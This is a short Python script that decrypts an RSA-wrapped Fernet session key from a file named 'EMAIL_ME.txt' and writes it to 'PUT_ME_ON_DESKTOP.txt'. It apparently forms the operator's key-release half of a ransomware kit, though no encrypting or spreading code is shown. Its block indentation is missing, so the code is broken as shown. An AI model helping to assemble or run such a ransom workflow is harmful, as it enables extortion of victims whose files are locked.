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Decrypt_fernet_key.py

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from Crypto.PublicKey import RSA

from Crypto.Random import get_random_bytes

from Crypto.Cipher import AES, PKCS1_OAEP

with open('EMAIL_ME.txt', 'rb') as f:

enc_fernet_key = f.read()

print(enc_fernet_key)

# Private RSA key

private_key = RSA.import_key(open('private.pem').read())

# Private decrypter

private_crypter = PKCS1_OAEP.new(private_key)

# Decrypted session key

dec_fernet_key = private_crypter.decrypt(enc_fernet_key)

with open('PUT_ME_ON_DESKTOP.txt', 'wb') as f:

f.write(dec_fernet_key)

print(f'> Private key: {private_key}')

print(f'> Private decrypter: {private_crypter}')

print(f'> Decrypted fernet key: {dec_fernet_key}')

print('> Decryption Completed')